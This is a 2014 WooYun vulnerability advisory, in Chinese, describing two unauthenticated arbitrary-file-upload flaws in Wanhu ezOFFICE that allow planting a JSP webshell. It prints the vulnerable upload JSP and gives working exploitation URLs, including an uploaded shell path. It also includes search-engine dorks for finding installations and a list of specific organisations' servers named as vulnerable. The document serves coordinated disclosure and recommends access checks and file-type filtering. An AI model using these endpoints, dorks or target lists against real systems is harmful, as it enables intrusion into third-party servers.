当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-063888
漏洞标题：
万户ezOFFICE无限制任意文件上传可getshell（两处）
相关厂商：
万户
漏洞作者：
北京方便面
提交时间：
2014-06-07 13:53
修复时间：
2014-09-05 13:54
公开时间：
2014-09-05 13:54
漏洞类型：
文件上传导致任意代码执行
危害等级：
高
自评Rank：
15
漏洞状态：
已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-06-07： 细节已通知厂商并且等待厂商处理中
2014-06-11： 厂商已经确认，细节仅向厂商公开
2014-06-14： 细节向第三方安全合作伙伴开放
2014-08-05： 细节向核心白帽子及相关领域专家公开
2014-08-15： 细节向普通白帽子公开
2014-08-25： 细节向实习白帽子公开
2014-09-05： 细节向公众公开

简要描述：

万户ezOFFICE无限制任意文件上传可getshell

详细说明：

defaultroot/public/jsp/singleupload.jsp

<%
  String path=request.getParameter("path");
  String del=request.getParameter("del");
  String hiddenName=request.getParameter("hiddenName");
  String visualName=request.getParameter("visualName");
  String filePath="//upload//"+path+"//";
  String mode=request.getParameter("mode");
  if(mode==null) mode="normal";
  if("yes".equals(del)){
	  //删除原来的附件
  }
  if(mode.equals("add")){
	  String fileName="";
	  String saveName="";
	  myUpload.initialize(pageContext);
	  myUpload.upload();
	  for (int j=0;j<myUpload.getFiles().getCount();j++){
		  String myRandom=new com.whir.common.util.Random().getRandom();
		  com.jspsmart.upload.File myFile = myUpload.getFiles().getFile(j);
		  if (!myFile.isMissing()) {
			  saveName=myRandom+"."+myFile.getFileExt();
			  fileName=myFile.getFileName();
			  myFile.saveAs(filePath + saveName);
		  }
	  }
	  %>
	  <SCRIPT LANGUAGE="JavaScript">
		  <!--
		  alert("附件上传成功！");
		  opener.document.all.<%=visualName%>.value = "<%=fileName%>";
		  opener.document.all.<%=hiddenName%>.value = "<%=saveName%>";
		  window.close();
		  //-->


没有验证权限及文件类型，可上传任意文件
http://hljxwjtheb.vicp.cc:7001/defaultroot/public/jsp/singleupload.jsp?path=desktop&visualName=unitImgName&hiddenName=unitImgSaveName&del=yes
上传后路径为：
defaultroot\upload\desktop\2014060713212253164872746.jsp
http://hljxwjtheb.vicp.cc:7001/defaultroot/upload/desktop/2014060713212253164872746.jsp?z0=utf-8
当然 这里我们也可以控制上传路径 path=desktop
百度关键词
http://www.baidu.com/s?cl=3&wd=Wanhu+ezOFFICE
http://74.125.227.77/#newwindow=1&q=Wanhu+ezOFFICE&start=20
第二处：
http://hljxwjtheb.vicp.cc:7001/defaultroot/public/jsp/smartUpload.jsp?path=innerMailbox&fileName=innerMailFileName&saveName=innerMailSaveName&tableName=innerMaildisplaytable&fileMaxSize=0&fileMaxNum=0&fileType=&fileMinHeight=0&fileMinWidth=0&fileMaxHeight=0&fileMaxWidth=0

漏洞证明：

实例：
http://oa.akcq.com/defaultroot/public/jsp/singleupload.jsp?path=desktop&visualName=unitImgName&hiddenName=unitImgSaveName&del=yes
http://oa.ctcai.com:7001/defaultroot/public/jsp/singleupload.jsp?path=desktop&visualName=unitImgName&hiddenName=unitImgSaveName&del=yes
http://oa.polyfilm.net:7001/defaultroot/public/jsp/singleupload.jsp?path=desktop&visualName=unitImgName&hiddenName=unitImgSaveName&del=yes
http://myoho.net:7001/defaultroot/public/jsp/singleupload.jsp?path=desktop&visualName=unitImgName&hiddenName=unitImgSaveName&del=yes
http://oa.china-sss.com/defaultroot/public/jsp/singleupload.jsp?path=desktop&visualName=unitImgName&hiddenName=unitImgSaveName&del=yes

44D803BB-D56F-44AD-B7ED-DF18A1CDA5B1.png


1131E302-E079-4FD8-90C1-658FFE671874.png


7F4404F9-A2E6-4DF8-A924-683CF66F721D.png

修复方案：

添加权限验证及过滤文件类型

版权声明：转载请注明来源 北京方便面@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2014-06-11 16:42

厂商回复：

最新状态：

暂无